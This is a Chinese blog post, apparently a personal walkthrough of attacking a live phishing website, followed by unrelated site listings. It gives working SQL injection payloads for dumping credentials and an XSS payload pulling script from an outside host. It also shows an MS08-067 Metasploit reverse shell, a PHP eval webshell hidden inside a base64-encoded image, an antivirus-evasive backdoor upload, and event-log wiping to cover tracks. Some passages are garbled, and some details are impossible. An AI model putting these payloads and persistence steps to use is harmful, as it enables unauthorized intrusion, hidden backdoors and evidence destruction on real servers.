为了保护个人隐私,本文出现的任何与个人信息相关的内容(包括网站页面等)均为仿制品,本次渗透仅为提升本人技术能力,没有进行任何危害性操作。
本文仅用于研究和教学使用,只可以在模拟、合法的环境下尝试文中的操作,若用于违反法律的用途后果自负。
下文中加粗及不同颜色标记的含义:
重点
工具
漏洞名称
技术手段
//给小白看的
Payload+命令
下文会再次利用到的信息
近期钓鱼网站传播似乎挺广泛的,没多长时间就搞到一个
简单测试一下SQL注入
//SQL注入:
//例:后端代码 //将id传入构造数据库查询语句,从table表中查询所有id为$id的数据 $sql="SELECt * FROM table WHERe id='$id'"; mysqli_query($conn,$sql); //执行查询语句通过构造GET请求来执行代码
http://xxx.html?id=1' 代码 %23
构造的GET请求产生了闭合并加入了新代码,%23用来注释掉后面的单引号
SELECt * FROM table WHERe id='1' 代码 %23'
?id=1'
网页状态码200,但页面内容明显异常
//状态码200:请求成功
?id=1' %23
页面内容恢复正常,确认存在SQL注入漏洞
进一步检测利用类型
?id=1' order by 1 %23
为1时内容正常,可以尝试通过主查询字段为1的union注入来获取数据库数据
//union注入:SQL注入的一种,如id=-1出错时,后面查询的内容会顶替其位置
查当前库名
?id=-1' union select database() %23
结果页面内容正常,但是页面任何地方都没有显示出库名,直接查看网页前端代码,果然回显出现在了这隐蔽的地方,库名为maildatabase
查所有表名
?id=-1' union select group_concat('n',table_name) from information_schema.tables where table_schema=database() %23
查表名中所有字段名
?id=-1' union select group_concat('n',column_name) from information_schema.columns where table_schema=database() and table_name='表名' %23查字段中的数据,发现长度有一定限制,于是采用了通过id控制范围的方法
?id=-1' union select group_concat('n',字段名) from 表名 where id>n %23
在进行了一番查阅后,从数据库中拿到了网站管理员的用户名和密码的哈希值,对哈希值进行撞库破解得到密码为1234efgh,猜测为网站后台的账号密码。
| Admin | Password |
|---|---|
| admin | 2A12A919C703759368AD5B456DAFA8C6 |
//哈希值:通过哈希算法对密码进行不可逆加密得到的值
//撞库:用 密码-哈希值 的字典进行暴力破解
虽然有了账号密码,但没有后台网址没有任何意义
尝试直接访问"http://qqmail123.inin.start/",结果没有目录遍历漏洞
//目录遍历漏洞:由于文件夹下不存在主页等原因导致显示出文件夹内的所有文件夹名和文件名
注意到了吗?在回显处又出现了一个网址"/denglu.php"
对其进行访问发现页面只有登录输入框和按钮而已,并且必须给user传值才能正常显示
接下来在两个页面的所有前端代码中寻找新网址,里面出现了很多官方网址显然是没有用的,虽然没找到新网址,但是找到了一个不同于此网站的域名
经查询,新域名已失效,猜测为以前的域名,只不过换了域名后代码没有改动
但是后台网址呢???别急,信息收集要有足够的耐心。
进行整站分析,得出了一些可能有用的信息
| 中间件 | 数据库 | 脚本语言 | 操作系统 |
|---|---|---|---|
| IIS 7.5 | MySQL 5.5 | PHP | Windows Server |
要知道,IIS 7.5版本存在文件解析漏洞,也就说一张网站中的图片可以作为网页甚至木马
//文件解析漏洞:通过特殊方式访问文件导致文件被解析成另一种格式
通过多地区ping检测,得出网站有唯一IP 520.13.1.4,不存在CDN
//ping:通过cmd"ping 域名"的命令来获取IP
//CDN:相当于真实服务器的很多代理,可以隐藏真实服务器IP
//多地区ping检测:字面意思,若存在CDN则在不同地区ping到的CDN可能IP不同
可惜我不能对它使用ping,所以用nmap无ping端口扫描
nmap -P0 IP
结果只扫描到了三个端口
1.80 HTTP
2.3389 远程桌面
3.4545 一个功能未知的端口
对网站进一步进行漏洞分析
发现存在一个JS页面可以对资源的范围进行请求,使用Burp进行抓包,修改请求包,设置Range范围到64位无符号整型的最大整数
//抓包:建立自己与网站的中间人对信息进行拦截
GET /js/jquery.min.js HTTP/1.1
Range: bytes=0-18446744073709551615
Cookie:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*来代替空格GET /denglu.php?user=0123456789&password=
HTTP/1.1
Host: qqmail123.inin.start
Accept: *src=//myxsspt123.com/hacker>//猜测的后端源码,将数据从数组中输出 while($row=mysqli_fetch_array($query,MYSQLI_ASSOC)){ ?>账号:0123456789 密码:
经过两天的等待,依然没有反应,此时我不得不怀疑这个网站到底是否有后台
之前发现"/denglu.php"必须给user传值才能正常显示,此时想起来一句话"最危险的地方就是最安全的地方",不会后台登录页远在天边近在眼前吧,那么猜测user就是用户名,想要进入后台还需要传入密码,经过了&password=、&pass=等尝试无果
之前还发现图片可以作为网页,想到这我就去翻出了网站的所有图片,将图片下载以文本打开,可惜并没有发现任何代码
于是还是决定对网站目录进行爆破式扫描,一直没有尝试这种方法一个原因是担心IP被封还有就是可能长时间无果。结果还不错,经过了一段时间的等待,就找到了网站后台和phpinfo的网址,还有状态码403的几个网址
//状态码403:没有权限访问
//phpinfo:一个调用phpinfo函数的页面,展示了网站的很多信息
从phpinfo得知系统具体为Win8,后期了解到之前MS08-067漏洞提权失败可能是因为没有认证什么东西,等以后搞明白了再试试吧
利用之前获取到的后台的账号密码成功进入了后台,XSS也起效了
进行一波分析,网站后台仅能对数据库进行增删改查而已,并没有利用价值
查看phpinfo,得到了网站根目录的绝对路径,可以尝试利用SQL注入向绝对路径写入一句话木马,在写入前先测试一下是否有文件权限,尝试读取根目录绝对路径下的文件
//根目录:存放网站文件和子文件夹的顶层路径,只有根目录下的网页可以访问
//绝对路径:从盘符开始的路径
//一句话木马:代码简短的木马网页,如本网站脚本语言为PHP,则使用PHP一句话木马,访问木马网页即可传入命令执行操作
?id=-1' union select load_file('C:Inetpubwwwrootlogin.html') %23
结果并没有读取到,也就说没有权限向网站根目录写入一句话木马
对于之前发现的状态码403的几个网址,我比较在意的是"qqmail123.inin.start/include/",因为可能有一些利用价值,比如可能存在文件包含漏洞,那么就可以尝试包含木马
//文件包含漏洞:通过include()等函数将其他文件内容包含进来,有时可以包含第三方恶意文件导致攻击
尝试了伪造IP、HOST、Referer、改扩展名、覆盖请求URL等绕过操作,我依然无权访问
此时我是绝望的,虽然可以进行很多攻击了,但是无法达到我理想的目标:拿到服务器控制权
由于我暂时没有其他思路,只好尝试了我最不喜欢的方式,简单分析了一下管理员设置密码的个人习惯规律,再结合Win8的密码格式要求,用户名使用默认用户名Administrator,对3389远程桌面登录进行爆破,经过一些时间的爆破,我选择放弃
能走到这一步我已经。。不满意啊,最后还是没有提权成功
但是,本次渗透被迫结束,菜哭了。。
下面说一点如果MS08-067漏洞提权成功之后可以进行的一些操作
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.5.21:4444
[*] 520.13.1.4:4545 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 520.13.1.4
[*] Meterpreter session 1 opened (192.168.5.21:4444 -> 192.168.219.129:1314) at 2023-02-30 05:02:01 +0800meterpreter > getuid
Server username: NT AUTHORITYSYSTEM此时已拿到SYSTEM权限,要进行维权
//SYSTEM:Win最高权限
前面说过了图片可以作为木马,但这里不推荐,因为只要下载图片就可以看到代码,可能被其他黑客利用,建议将一句话写入网站原有的页面,比如写入网页直接嵌入的图片的Base64编码中
//简单一句话木马,通过POST请求向cmd传代码来控制服务器//写入网页直接嵌入的图片的Base64编码
background-image: url("data:image/png;base64,4VhRs5<?php echo 'oOxHAxJ552xPwvmn5RY5oS0P1A/AeKCrDQ
B55SQ6Ia96YCHHeWbk0Ut';@eval($_POST[cmd]);echo '
RDXpsZVcIzTmtZQ/57CXBRogTGrmvbtGC+OBhHQ/5rem
VWfpnqZV5Z2l';?>6KStHj/mvIoQcE7kub11Wloa5rySPwFZ
ATID9OVBjunIM/bVQEbT8/55yz772UewFGP0DoqqZtPz/");向网站根目录植入一句话木马
meterpreter > upload //root/桌面/login.png C:\Inetpubwwwrootlogin.png
[*] uploading : //root/桌面/login.png -> C:\Inetpubwwwrootlogin.png
[*] uploaded : //root/桌面/login.png -> C:\Inetpubwwwrootlogin.png可以查看服务器安装了哪些杀毒软件然后在自己电脑配置一样的杀毒环境,制作免杀后门,配置好内网穿透让自己和免杀后门能够通信,免杀测试通过后再传入并启动
//免杀:不被查杀
//后门:更隐蔽的用于远程控制的木马
//内网穿透:将局域网IP、端口映射到公网
植入免杀后门
meterpreter > upload //root/桌面/HouMen.exe C:\HouMen.exe
[*] uploading : //root/桌面/HouMen.exe -> C:\HouMen.exe
[*] uploaded : //root/桌面/HouMen.exe -> C:\HouMen.exe清除痕迹(应用程序、系统、安全日志)
meterpreter > clearev
[*] Wiping 5 records from Application...
[*] Wiping 2 records from System...
[*] Wiping 1 records from Security...Java相关栏目本月热门文章
- 1【Linux驱动开发】设备树详解(二)设备树语法详解
- 2别跟客户扯细节
- 3Springboot+RabbitMQ+ACK机制(生产方确认(全局、局部)、消费方确认)、知识盲区
- 4【Java】对象处理流(ObjectOutputStream和ObjectInputStream)
- 5【分页】常见两种SpringBoot项目中分页技巧
- 6一文带你搞懂OAuth2.0
- 7我要写整个中文互联网界最牛逼的JVM系列教程 | 「JVM与Java体系架构」章节:虚拟机与Java虚拟机介绍
- 8【Spring Cloud】新闻头条微服务项目:FreeMarker模板引擎实现文章静态页面生成
- 9JavaSE - 封装、static成员和内部类
- 10树莓派mjpg-streamer实现监控及拍照功能调试
- 11用c++写一个蓝屏代码
- 12从JDK8源码中看ArrayList和LinkedList的区别
- 13idea 1、报错java: 找不到符号 符号: 变量 log 2、转换成Maven项目
- 14在openwrt使用C语言增加ubus接口(包含C uci操作)
- 15Spring 解决循环依赖
- 16SpringMVC——基于MVC架构的Spring框架
- 17Andy‘s First Dictionary C++ STL set应用
- 18动态内存管理
- 19我的创作纪念日
- 20Docker自定义镜像-Dockerfile
热门相关搜索路由器设置 木托盘 宝塔面板 儿童python教程 心情低落 朋友圈 vim 双一流学科 专升本 我的学校 日记学校 西点培训学校 汽修学校 情书 化妆学校 塔沟武校 异形模板 西南大学排名 最精辟人生短句 6步教你追回被骗的钱 南昌大学排名 清朝十二帝 北京印刷学院排名 北方工业大学排名 北京航空航天大学排名 首都经济贸易大学排名 中国传媒大学排名 首都师范大学排名 中国地质大学(北京)排名 北京信息科技大学排名 中央民族大学排名 北京舞蹈学院排名 北京电影学院排名 中国戏曲学院排名 河北政法职业学院排名 河北经贸大学排名 天津中德应用技术大学排名 天津医学高等专科学校排名 天津美术学院排名 天津音乐学院排名 天津工业大学排名 北京工业大学耿丹学院排名 北京警察学院排名 天津科技大学排名 北京邮电大学(宏福校区)排名 北京网络职业学院排名 北京大学医学部排名 河北科技大学排名 河北地质大学排名 河北体育学院排名



